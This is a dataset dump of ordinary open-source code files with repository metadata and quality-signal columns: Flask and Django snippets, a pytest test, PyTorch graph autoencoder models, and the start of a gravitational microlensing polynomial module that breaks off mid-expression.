hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
fdc544cefe176e8b714241ce02e220f6af863566
152
py
Python
src/mayapip/_internal/maya/maya_linux.py
jonntd/maya-pip
2a579da17fe348053149d2ad4c45a2ff6efb60ed
[ "MIT" ]
2
2019-03-05T04:11:44.000Z
2019-03-05T07:26:53.000Z
src/mayapip/_internal/maya/maya_linux.py
jonntd/maya-pip
2a579da17fe348053149d2ad4c45a2ff6efb60ed
[ "MIT" ]
null
null
null
src/mayapip/_internal/maya/maya_linux.py
jonntd/maya-pip
2a579da17fe348053149d2ad4c45a2ff6efb60ed
[ "MIT" ]
null
null
null
def get_python_executables(): """ :return: Linux maya python executables :rtype: dict """ maya_pythons = {} return maya_pythons
19
42
0.631579
16
152
5.75
0.625
0.369565
0
0
0
0
0
0
0
0
0
0
0.263158
152
7
43
21.714286
0.821429
0.335526
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
5
fdc59cee41171b477d1b018fa98d1c9fa51eff0d
18
py
Python
Project Ideas/Mini Journal/mini_journal_reader.py
vishnu-rvn/PyPractice
521cf6582b49aabd9a4c1c0aef0dd3608c9ee63b
[ "MIT" ]
9
2018-07-13T16:29:41.000Z
2018-07-14T14:40:38.000Z
Project Ideas/Mini Journal/mini_journal_reader.py
vishnu-rvn/PyPractice
521cf6582b49aabd9a4c1c0aef0dd3608c9ee63b
[ "MIT" ]
11
2018-07-15T07:56:57.000Z
2018-07-21T17:41:13.000Z
Project Ideas/Mini Journal/mini_journal_reader.py
vishnu-rvn/PyPractice
521cf6582b49aabd9a4c1c0aef0dd3608c9ee63b
[ "MIT" ]
8
2018-07-13T02:37:53.000Z
2018-07-14T20:36:44.000Z
# Read from file.
9
17
0.666667
3
18
4
1
0
0
0
0
0
0
0
0
0
0
0
0.222222
18
1
18
18
0.857143
0.833333
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
fdf8fb77472de397cdaff7d10a8a3e740135bffa
219
py
Python
mozillaTut/utils.py
Rildlanster/django_local_library
eddf8f8c36b996bc2fcef11193632848174d8ab0
[ "Apache-2.0" ]
null
null
null
mozillaTut/utils.py
Rildlanster/django_local_library
eddf8f8c36b996bc2fcef11193632848174d8ab0
[ "Apache-2.0" ]
null
null
null
mozillaTut/utils.py
Rildlanster/django_local_library
eddf8f8c36b996bc2fcef11193632848174d8ab0
[ "Apache-2.0" ]
null
null
null
from django.core.mail import send_mail ''' para: é uma lista de destinatários. ''' def send_prf_mail(assunto, mensagem, para): send_mail(assunto, mensagem, 'rodrigo.nogueira@prf.gov.br', para, fail_silently=False)
27.375
90
0.753425
33
219
4.848485
0.69697
0.1
0.2375
0
0
0
0
0
0
0
0
0
0.118721
219
7
91
31.285714
0.829016
0
0
0
0
0
0.153409
0.153409
0
0
0
0
0
1
0.333333
false
0
0.333333
0
0.666667
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
1
0
0
5
8bf47987aea1f0ed3e68b376c62b78bb44705f7f
2,903
py
Python
evalme/tests/test_classification_dynamic_labels.py
heartexlabs/evalme
4413fc2660fdd35a55eb7665cef53eda5cf47206
[ "MIT" ]
null
null
null
evalme/tests/test_classification_dynamic_labels.py
heartexlabs/evalme
4413fc2660fdd35a55eb7665cef53eda5cf47206
[ "MIT" ]
null
null
null
evalme/tests/test_classification_dynamic_labels.py
heartexlabs/evalme
4413fc2660fdd35a55eb7665cef53eda5cf47206
[ "MIT" ]
null
null
null
import pytest from evalme.classification import ClassificationEvalItem, ChoicesEvalItem, naive, exact_matching_choices from evalme.metrics import Metrics def test_dynamic_choices_not_matching(): """ Dynamic choices: not matching choices """ result1 = {"result": [ { "id": "zMpKg1F1Go", "type": "choices", "value": { "choices": [ [ "Products", "Loan Payment Center" ] ] }, "origin": "manual", "to_name": "text", "from_name": "dynamic_choices" } ]} result2 = {"result": [ { "id": "W50VSmRHl5", "type": "choices", "value": { "choices": [ [ "Products", "Personal Loans" ] ] }, "origin": "manual", "to_name": "text", "from_name": "dynamic_choices" } ] } obj1 = ChoicesEvalItem(raw_data=result1['result']) obj2 = ChoicesEvalItem(raw_data=result2['result']) assert obj1.exact_match(obj2) == 0 per_label = obj1.exact_match(obj2, per_label=True) assert per_label == {"Products": 0, "Loan Payment Center": 0} assert obj2.exact_match(obj1) == 0 per_label = obj2.exact_match(obj1, per_label=True) assert per_label == {"Products": 0, "Personal Loans": 0} def test_dynamic_choices_matching(): """ Dynamic choices: matching choices """ result1 = {"result": [ { "id": "zMpKg1F1Go", "type": "choices", "value": { "choices": [ [ "Products", "Loan Payment Center" ] ] }, "origin": "manual", "to_name": "text", "from_name": "dynamic_choices" } ]} result2 = {"result": [ { "id": "W50VSmRHl5", "type": "choices", "value": { "choices": [ [ "Products", "Loan Payment Center" ] ] }, "origin": "manual", "to_name": "text", "from_name": "dynamic_choices" } ] } obj1 = ChoicesEvalItem(raw_data=result1['result']) obj2 = ChoicesEvalItem(raw_data=result2['result']) assert obj1.exact_match(obj2) == 1 per_label = obj1.exact_match(obj2, per_label=True) assert per_label == {"Products": 1, "Loan Payment Center": 1} assert obj2.exact_match(obj1) == 1 per_label = obj2.exact_match(obj1, per_label=True) assert per_label == {"Products": 1, "Loan Payment Center": 1}
26.633028
104
0.45918
239
2,903
5.389121
0.192469
0.074534
0.079193
0.071429
0.786491
0.749224
0.749224
0.749224
0.747671
0.747671
0
0.029308
0.412332
2,903
109
105
26.633028
0.725674
0.024457
0
0.56044
0
0
0.207709
0
0
0
0
0
0.087912
1
0.021978
false
0
0.032967
0
0.054945
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
8bffa5b9b8bfcc6884700a9361ab5d3daa745aba
110
py
Python
number_detection_model/seed_setter.py
RodneyMcQuain/Digit-Inator
2ca759dd85a7ada0f19b7eb9569a37be0519475e
[ "MIT" ]
2
2021-01-10T03:44:03.000Z
2021-05-03T14:54:57.000Z
number_detection_model/seed_setter.py
RodneyMcQuain/Digit-Inator
2ca759dd85a7ada0f19b7eb9569a37be0519475e
[ "MIT" ]
14
2020-12-17T00:09:11.000Z
2022-02-27T11:03:47.000Z
number_detection_model/seed_setter.py
RodneyMcQuain/Digit-Inator
2ca759dd85a7ada0f19b7eb9569a37be0519475e
[ "MIT" ]
2
2021-01-28T00:52:34.000Z
2021-11-22T18:24:30.000Z
from numpy.random import seed import tensorflow def set_seed(): seed(1) tensorflow.random.set_seed(2)
18.333333
33
0.745455
17
110
4.705882
0.588235
0.175
0
0
0
0
0
0
0
0
0
0.021739
0.163636
110
6
33
18.333333
0.847826
0
0
0
0
0
0
0
0
0
0
0
0
1
0.2
true
0
0.4
0
0.6
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
e3221b92d4c086b255ccba4f1681b82d8200ae10
111
py
Python
plydata/tidy/__init__.py
has2k1/plydata
d9d022def44ade656fbb39c16d2f7fe45e9e96da
[ "BSD-3-Clause" ]
247
2017-05-06T08:56:29.000Z
2022-03-16T00:36:35.000Z
plydata/tidy/__init__.py
sthagen/plydata
7ecbabaae8af68e9d9b094ba1830cf8008746eca
[ "BSD-3-Clause" ]
28
2017-05-19T06:52:32.000Z
2022-02-17T10:41:47.000Z
plydata/tidy/__init__.py
sthagen/plydata
7ecbabaae8af68e9d9b094ba1830cf8008746eca
[ "BSD-3-Clause" ]
14
2017-05-14T11:47:16.000Z
2020-11-20T18:07:49.000Z
from .tidy_verbs import * # noqa from .. import _get_all_imports __all__ = _get_all_imports(globals())
18.5
38
0.720721
15
111
4.6
0.6
0.173913
0.376812
0
0
0
0
0
0
0
0
0
0.189189
111
5
39
22.2
0.766667
0.036036
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
1
0
1
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
e339f85c4aabbab36b1b9ce3b97d90623308871d
304
py
Python
Sheikh.Shahzeb/Assignments/assign_landpage/assign_1_landingpage.py
webguru001/Python-Django-Web
6264bc4c90ef1432ba0902c76b567cf3caaae221
[ "MIT" ]
5
2019-05-17T01:30:02.000Z
2021-06-17T21:02:58.000Z
Sheikh.Shahzeb/Assignments/assign_landpage/assign_1_landingpage.py
curest0x1021/Python-Django-Web
6264bc4c90ef1432ba0902c76b567cf3caaae221
[ "MIT" ]
null
null
null
Sheikh.Shahzeb/Assignments/assign_landpage/assign_1_landingpage.py
curest0x1021/Python-Django-Web
6264bc4c90ef1432ba0902c76b567cf3caaae221
[ "MIT" ]
null
null
null
from flask import Flask, render_template app = Flask(__name__) @app.route('/') def index(): return render_template("landing_page.html") @app.route('/ninjas') def ninjas(): return render_template("ninjas.html") @app.route('/dojo') def dojo(): return render_template("dojo.html") app.run(debug=True)
20.266667
45
0.726974
43
304
4.930233
0.44186
0.264151
0.283019
0
0
0
0
0
0
0
0
0
0.098684
304
15
46
20.266667
0.773723
0
0
0
0
0
0.163934
0
0
0
0
0
0
1
0.25
false
0
0.083333
0.25
0.583333
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
e35f863453ada5abf5258d00993e84b8105cc49b
120
py
Python
tools/__init__.py
Sngunfei/graph-embedding
34308d7f4be03bd8610058d6b4896616c750e36d
[ "MIT" ]
null
null
null
tools/__init__.py
Sngunfei/graph-embedding
34308d7f4be03bd8610058d6b4896616c750e36d
[ "MIT" ]
null
null
null
tools/__init__.py
Sngunfei/graph-embedding
34308d7f4be03bd8610058d6b4896616c750e36d
[ "MIT" ]
1
2020-09-27T02:23:12.000Z
2020-09-27T02:23:12.000Z
from __future__ import absolute_import from .hierarchy import * from .util import * from .const import * name = "tools"
20
38
0.766667
16
120
5.4375
0.5625
0.344828
0
0
0
0
0
0
0
0
0
0
0.158333
120
6
39
20
0.861386
0
0
0
0
0
0.041322
0
0
0
0
0
0
1
0
false
0
0.8
0
0.8
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
8b6b70d7fa73392316f0a87d9e0902ad2d407550
111
py
Python
srcs/parser/tokens/close_bracket_token.py
pomponchik/computor_v2
742b3f3b47c8d46806b2f733b4ec07ae63a23f00
[ "MIT" ]
null
null
null
srcs/parser/tokens/close_bracket_token.py
pomponchik/computor_v2
742b3f3b47c8d46806b2f733b4ec07ae63a23f00
[ "MIT" ]
null
null
null
srcs/parser/tokens/close_bracket_token.py
pomponchik/computor_v2
742b3f3b47c8d46806b2f733b4ec07ae63a23f00
[ "MIT" ]
null
null
null
from srcs.parser.tokens.abstract_token import AbstractToken class CloseBracketToken(AbstractToken): pass
18.5
59
0.828829
12
111
7.583333
0.916667
0
0
0
0
0
0
0
0
0
0
0
0.117117
111
5
60
22.2
0.928571
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.333333
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
0
0
0
5
47432b81a16c61b558c5a0115811ade5e891448d
28
py
Python
app/notifications/forms.py
woooo-code/site
a12e8c3895df9651dfb97a79adf36d58cdc50eb7
[ "PostgreSQL" ]
null
null
null
app/notifications/forms.py
woooo-code/site
a12e8c3895df9651dfb97a79adf36d58cdc50eb7
[ "PostgreSQL" ]
2
2021-03-31T19:37:20.000Z
2021-12-13T20:35:29.000Z
app/notifications/forms.py
woooo-code/site
a12e8c3895df9651dfb97a79adf36d58cdc50eb7
[ "PostgreSQL" ]
null
null
null
#app/notifications/forms.py
14
27
0.821429
4
28
5.75
1
0
0
0
0
0
0
0
0
0
0
0
0.035714
28
1
28
28
0.851852
0.928571
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
477e83b2a1f615d35adf14333d6c4606e8b4cd09
260
py
Python
src/utils/testbed_parser.py
weucode/COMFORT
0cfce5d70a58503f8ba3c3ff825abc24b79a1d2b
[ "Apache-2.0" ]
55
2021-03-05T06:42:22.000Z
2022-02-22T05:33:47.000Z
src/utils/testbed_parser.py
Delepha/COMFORT
a76ab2cc0069542b2bd75e4952c4709eef936124
[ "Apache-2.0" ]
null
null
null
src/utils/testbed_parser.py
Delepha/COMFORT
a76ab2cc0069542b2bd75e4952c4709eef936124
[ "Apache-2.0" ]
20
2021-04-14T15:17:05.000Z
2022-02-15T10:48:00.000Z
def get_version(testbed: str): path = [e for e in testbed.split(" ") if e.find("/") > -1][0] full_name = path.split("/")[-1] return full_name.replace(".jar", "") def parse_engine_name(testbed: str): return get_version(testbed).split("-")[0]
26
65
0.615385
39
260
3.948718
0.538462
0.12987
0.220779
0
0
0
0
0
0
0
0
0.018605
0.173077
260
9
66
28.888889
0.697674
0
0
0
0
0
0.030888
0
0
0
0
0
0
1
0.333333
false
0
0
0.166667
0.666667
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
47851d9d5c8270ff78673fa96340b9f3520b592b
8,430
py
Python
models/VGAE.py
zengshiwen/valen
5e997d1767236bbfdf60a4ac872148aa95ddbca2
[ "MulanPSL-1.0" ]
5
2021-11-12T05:31:45.000Z
2022-03-01T08:51:49.000Z
models/VGAE.py
zengshiwen/valen
5e997d1767236bbfdf60a4ac872148aa95ddbca2
[ "MulanPSL-1.0" ]
null
null
null
models/VGAE.py
zengshiwen/valen
5e997d1767236bbfdf60a4ac872148aa95ddbca2
[ "MulanPSL-1.0" ]
3
2021-11-12T05:31:47.000Z
2022-01-24T05:50:32.000Z
from numpy.core.numeric import outer import torch from torch import log, mean, nn import torch.nn.functional as F import numpy as np class VGAE_Encoder(nn.Module): def __init__(self, n_in, n_hid, n_out, adj=None): super(VGAE_Encoder, self).__init__() self.n_out = n_out self.base_gcn = GraphConv2(n_in, n_hid, adj=adj) self.gcn1 = GraphConv2(n_hid, n_out, activation=F.elu, adj=adj) self.gcn2 = GraphConv2(n_out, n_out, activation=F.elu, adj=adj) self.gcn3 = GraphConv2(n_out, n_out*2, activation=lambda x:x, adj=adj) def forward(self, x): hidden = self.base_gcn(x) out = self.gcn1(hidden) out = self.gcn2(out) out = self.gcn3(out) mean = out[:, :self.n_out] std = out[:, self.n_out:] return mean, std def set_gcn_adj(self, adj): self.base_gcn.adj = adj self.gcn1.adj = adj self.gcn2.adj = adj self.gcn3.adj = adj class VAE_Encoder(nn.Module): def __init__(self, n_in, n_hidden, n_out, keep_prob=1.0) -> None: super(VAE_Encoder, self).__init__() self.n_out = n_out self.layer1 = nn.Linear(n_in, n_hidden) self.layer2 = nn.Linear(n_hidden, n_out) self.layer3 = nn.Linear(n_hidden, n_out) self._init_weight() def _init_weight(self): for m in self.modules(): if isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight.data) m.bias.data.fill_(0.01) def forward(self, inputs): h0 = self.layer1(inputs) h0 = F.relu(h0) mean = self.layer2(h0) logvar = self.layer3(h0) # logvar = F.hardtanh(logvar, min_val=0, max_val=30) return mean, logvar class VAE_Bernulli_Decoder(nn.Module): def __init__(self, n_in, n_hidden, n_out, keep_prob=1.0) -> None: super(VAE_Bernulli_Decoder, self).__init__() self.layer1 = nn.Linear(n_in, n_hidden) self.layer2 = nn.Linear(n_hidden, n_out) self._init_weight() def _init_weight(self): for m in self.modules(): if isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight.data) m.bias.data.fill_(0.01) def forward(self, inputs): h0 = self.layer1(inputs) h0 = F.relu(h0) x_hat = self.layer2(h0) return x_hat class Encoder(nn.Module): def __init__(self, n_in, n_hid, n_out, adj=None): super(Encoder,self).__init__() self.n_out = n_out self.base_gcn = GraphConv2(n_in, n_hid, adj=adj) self.gcn1 = GraphConv2(n_hid, n_out, activation=F.elu, adj=adj) self.gcn2 = GraphConv2(n_out, n_out, activation=F.elu, adj=adj) self.gcn3 = GraphConv2(n_out, n_out, activation=lambda x:x, adj=adj) def forward(self, x): hidden = self.base_gcn(x) out = self.gcn1(hidden) out = self.gcn2(out) out = self.gcn3(out) alpha = torch.exp(out/4) alpha = F.hardtanh(alpha, min_val=1e-2, max_val=30) return alpha def set_gcn_adj(self, adj): self.base_gcn.adj = adj self.gcn1.adj = adj self.gcn2.adj = adj self.gcn3.adj = adj class Encoder2(nn.Module): def __init__(self, n_in, n_hidden, n_out, keep_prob=1.0) -> None: super(Encoder2, self).__init__() self.n_out = n_out self.layer1 = nn.Linear(n_in, n_hidden) self.layer2 = nn.Linear(n_hidden, n_out) self._init_weight() def _init_weight(self): for m in self.modules(): if isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight.data) m.bias.data.fill_(0.01) def forward(self, inputs): h0 = self.layer1(inputs) h0 = F.relu(h0) out = self.layer2(h0) alpha = torch.exp(out/4) alpha = F.hardtanh(alpha, min_val=1e-2, max_val=30) return alpha class Encoder3(nn.Module): def __init__(self, input_dim, hidden_dim, output_dim, keep_prob=1.0) -> None: super(Encoder3, self).__init__() self.fc1 = nn.Linear(input_dim, hidden_dim) self.relu1 = nn.ReLU() self.fc2 = nn.Linear(hidden_dim, hidden_dim) self.relu2 = nn.ReLU() self.fc3 = nn.Linear(hidden_dim, hidden_dim) self.relu3 = nn.ReLU() self.fc4 = nn.Linear(hidden_dim, output_dim) # self._init_weight() # def _init_weight(self): # for m in self.modules(): # if isinstance(m, nn.Linear): # nn.init.xavier_normal_(m.weight.data) # m.bias.data.fill_(0.01) def forward(self, x): out = x.view(x.size(0), -1) out = self.fc1(out) out = self.relu1(out) out = self.fc2(out) out = self.relu2(out) out = self.fc3(out) out = self.relu3(out) out = self.fc4(out) # out = torch.exp(out/4) # out = F.hardtanh(out, min_val=1e-2, max_val=30) return out class VGAE_Decoder(nn.Module): def __init__(self, n_in, n_hid, n_out, n_label, keep_prob=1.0): super(VGAE_Decoder,self).__init__() self.n_label = n_label self.layer1 = nn.Sequential(nn.Linear(n_in,n_hid), nn.Tanh(), nn.Dropout(1-keep_prob)) self.layer2 = nn.Sequential(nn.Linear(n_hid,n_hid), nn.ELU(), nn.Dropout(1-keep_prob)) self.fc_out = nn.Linear(n_hid,n_out) self._init_weight() def _init_weight(self): for m in self.modules(): if isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight.data) m.bias.data.fill_(0.01) def forward(self, z): h0 = self.layer1(z) h1 = self.layer2(h0) features_hat = self.fc_out(h1) labels_hat = z[:, -self.n_label:] adj_hat = dot_product_decode(z) return features_hat, labels_hat, adj_hat class Decoder(nn.Module): def __init__(self, n_in, n_hid, n_out, n_label, keep_prob=1.0): super(Decoder,self).__init__() self.n_label = n_label self.layer1 = nn.Sequential(nn.Linear(n_in,n_hid), nn.Tanh(), nn.Dropout(1-keep_prob)) self.layer2 = nn.Sequential(nn.Linear(n_hid,n_hid), nn.ELU(), nn.Dropout(1-keep_prob)) self.layer3 = nn.Sequential(nn.Linear(n_in,n_hid), nn.Tanh(), nn.Dropout(1-keep_prob)) self.layer4 = nn.Sequential(nn.Linear(n_hid,n_label), nn.ELU(), nn.Dropout(1-keep_prob)) self.fc_out = nn.Linear(n_hid,n_out) self._init_weight() def _init_weight(self): for m in self.modules(): if isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight.data) m.bias.data.fill_(0.01) def forward(self, z): h0 = self.layer1(z) h1 = self.layer2(h0) features_hat = self.fc_out(h1) h2 = self.layer3(z) h3 = self.layer4(h2) labels_hat = h3 adj_hat = dot_product_decode(z) return features_hat, labels_hat, adj_hat class GraphConv(nn.Module): def __init__(self, n_in, n_out, adj, activation = F.relu, **kwargs): super(GraphConv, self).__init__(**kwargs) self.weight = glorot_init(n_in, n_out) self.adj = adj self.activation = activation def forward(self, inputs): x = inputs x = torch.mm(x,self.weight) x = torch.mm(self.adj, x) outputs = self.activation(x) return outputs class GraphConv2(nn.Module): def __init__(self, n_in, n_out, activation = F.relu, adj=None, **kwargs): super(GraphConv2, self).__init__(**kwargs) self.weight = glorot_init(n_in, n_out) self.adj = adj self.activation = activation def forward(self, inputs): x = inputs x = torch.mm(x,self.weight) x = torch.spmm(self.adj, x) outputs = self.activation(x) return outputs def dot_product_decode(Z): A_pred = torch.sigmoid(torch.matmul(Z,Z.t())) return A_pred def glorot_init(input_dim, output_dim): init_range = np.sqrt(6.0/(input_dim + output_dim)) initial = torch.rand(input_dim, output_dim)*2*init_range - init_range return nn.Parameter(initial)
32.801556
81
0.584816
1,242
8,430
3.725443
0.102254
0.031986
0.016425
0.032418
0.767236
0.763129
0.759023
0.740653
0.735682
0.701318
0
0.026202
0.289205
8,430
257
82
32.801556
0.745995
0.037604
0
0.658654
0
0
0
0
0
0
0
0
0
1
0.139423
false
0
0.024038
0
0.269231
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
47e1567c4c50d89068f245ba6baea4a57325a4b5
62,019
py
Python
src/caustics/point_source_magnification.py
fbartolic/caustics
4fa7737cee44143e8967817de9a544a8cc2c765e
[ "MIT" ]
null
null
null
src/caustics/point_source_magnification.py
fbartolic/caustics
4fa7737cee44143e8967817de9a544a8cc2c765e
[ "MIT" ]
null
null
null
src/caustics/point_source_magnification.py
fbartolic/caustics
4fa7737cee44143e8967817de9a544a8cc2c765e
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- __all__ = [ "images_point_source_binary", "images_point_source_triple", "mag_point_source_binary", "mag_point_source_triple", "critical_and_caustic_curves_binary", "critical_and_caustic_curves_triple", "lens_eq_binary", "lens_eq_triple", ] from functools import partial import numpy as np import jax.numpy as jnp from jax import jit from .ehrlich_aberth_primitive import poly_roots @jit def _poly_coeffs_binary(w, a, e1): """ Compute the coefficients of the complex polynomial equation corresponding to the binary lens equation. The function returns a vector of coefficients starting with the highest order term. Args: w (array_like): Source plane positions in the complex plane. a (float): Half the separation between the two lenses. We use the convention where both lenses are located on the real line with r1 = a and r2 = -a. e1 (array_like): Mass fraction of the first lens e1 = m1/(m1+m2). It follows that e2 = 1 - e1. Returns: array_like: Polynomial coefficients, same shape as w with an added dimension for the polynomial coefficients. """ wbar = jnp.conjugate(w) p_0 = -(a ** 2) + wbar ** 2 p_1 = a ** 2 * w - 2 * a * e1 + a - w * wbar ** 2 + wbar p_2 = ( 2 * a ** 4 - 2 * a ** 2 * wbar ** 2 + 4 * a * wbar * e1 - 2 * a * wbar - 2 * w * wbar ) p_3 = ( -2 * a ** 4 * w + 4 * a ** 3 * e1 - 2 * a ** 3 + 2 * a ** 2 * w * wbar ** 2 - 4 * a * w * wbar * e1 + 2 * a * w * wbar + 2 * a * e1 - a - w ) p_4 = ( -(a ** 6) + a ** 4 * wbar ** 2 - 4 * a ** 3 * wbar * e1 + 2 * a ** 3 * wbar + 2 * a ** 2 * w * wbar + 4 * a ** 2 * e1 ** 2 - 4 * a ** 2 * e1 + 2 * a ** 2 - 4 * a * w * e1 + 2 * a * w ) p_5 = ( a ** 6 * w - 2 * a ** 5 * e1 + a ** 5 - a ** 4 * w * wbar ** 2 - a ** 4 * wbar + 4 * a ** 3 * w * wbar * e1 - 2 * a ** 3 * w * wbar + 2 * a ** 3 * e1 - a ** 3 - 4 * a ** 2 * w * e1 ** 2 + 4 * a ** 2 * w * e1 - a ** 2 * w ) p = jnp.stack([p_0, p_1, p_2, p_3, p_4, p_5]) return jnp.moveaxis(p, 0, -1) @jit def _poly_coeffs_triple(w, a, r3, e1, e2): """ Compute the coefficients of the complex polynomial equation corresponding to the triple lens equation. The function returns a vector of coefficients starting with the highest order term. Args: w (array_like): Source plane positions in the complex plane. a (float): Half the separation between the first two lenses located on the real line with r1 = a and r2 = -a. r3 (float): The position of the third lens. e1 (array_like): Mass fraction of the first lens e1 = m1/(m1 + m2 + m3). e2 (array_like): Mass fraction of the second lens e2 = m2/(m1 + m2 + m3). Returns: array_like: Polynomial coefficients, same shape as w with an added dimension for the polynomial coefficients. """ wbar = jnp.conjugate(w) r3bar = jnp.conjugate(r3) p_0 = -(a ** 2) * wbar + a ** 2 * r3bar + wbar ** 3 - wbar ** 2 * r3bar p_1 = ( a ** 2 * w * wbar - a ** 2 * w * r3bar + 3 * a ** 2 * wbar * r3 - 3 * a ** 2 * r3bar * r3 - a 